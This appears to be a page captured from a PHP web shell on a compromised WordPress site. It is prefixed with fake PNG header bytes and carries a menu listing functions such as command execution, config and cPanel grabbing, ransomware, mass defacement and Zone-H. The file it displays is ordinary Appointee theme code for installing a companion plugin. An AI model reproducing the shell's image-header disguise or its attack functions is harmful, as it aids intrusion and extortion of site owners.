\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-new/wp-content/themes/appointee/admin/inc/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-new/wp-content/themes/appointee/admin/inc/plugin-include-control.php |
<?php
/**
* This file implements custom requirements for the Webriti Companion plugin.
* It can be used as-is in themes (drop-in).
*
*/
if (class_exists('WP_Customize_Control') && !class_exists('Appointee_Plugin_Install_Control')) {
/**
*
* @see WP_Customize_Section
*/
class Appointee_Plugin_Install_Control extends WP_Customize_Control {
/**
* Customize section type.
*
* @access public
* @var string
*/
public $type = 'Appointee_Plugin_Install_Control';
public $name = '';
public $slug = '';
public function __construct($manager, $id, $args = array()) {
parent::__construct($manager, $id, $args);
}
/**
* enqueue styles and scripts
*
*
* */
public function enqueue() {
wp_enqueue_script('plugin-install');
wp_enqueue_script('updates');
wp_enqueue_script('appointee-companion-install', APPOINTEE_TEMPLATE_DIR_URI . '/admin/assets/js/plugin-install.js', array('jquery'));
wp_localize_script('appointee-companion-install', 'appointee_companion_install',
array(
'installing' => esc_html__('Installing', 'appointee'),
'activating' => esc_html__('Activating', 'appointee'),
'error' => esc_html__('Error', 'appointee'),
'ajax_url' => esc_url(admin_url('admin-ajax.php')),
)
);
}
/**
* Render the section.
*
* @access protected
*/
protected function render_content() {
// Determine if the plugin is not installed, or just inactive.
if (empty($this->name) && empty($this->slug)) {
return;
}
$appointee_install = get_option('Appointee_hide_customizer_notice_' . $this->slug, false);
if ($appointee_install) {
return;
}
global $appointee_about_page;
if (!is_object($appointee_about_page)) {
return;
}
?>
<div class="webriti-plugin-install-control">
<span class="webriti-customizer-notification-dismiss" id="<?php echo esc_attr($this->slug); ?>-install-dismiss" data-slug="<?php echo esc_attr($this->slug); ?>"> <i class="fa fa-times"></i></span>
<?php if (!empty($this->label)) : ?>
<span class="customize-control-title"><?php echo esc_html($this->label); ?></span>
<?php endif; ?>
<?php if (!empty($this->description)) : ?>
<span class="description customize-control-description"><?php echo wp_kses_post($this->description); ?></span>
<?php endif; ?>
<?php
$button = $appointee_about_page->get_plugin_buttion($this->slug, $this->name, $this->function);
echo wp_kses_post($button['button']);
?>
<div style="clear: both;"></div>
</div>
<?php
}
}
}
function appointee_hide_customizer_notice() {
if (isset($_POST['webriti_plugin_slug']) && !empty($_POST['webriti_plugin_slug'])) {
$plugin_slug = sanitize_text_field($_POST['webriti_plugin_slug']);
update_option('Appointee_hide_customizer_notice_' . $plugin_slug, true);
echo true;
}
wp_die();
}
add_action('wp_ajax_appointee_hide_customizer_notice', 'appointee_hide_customizer_notice');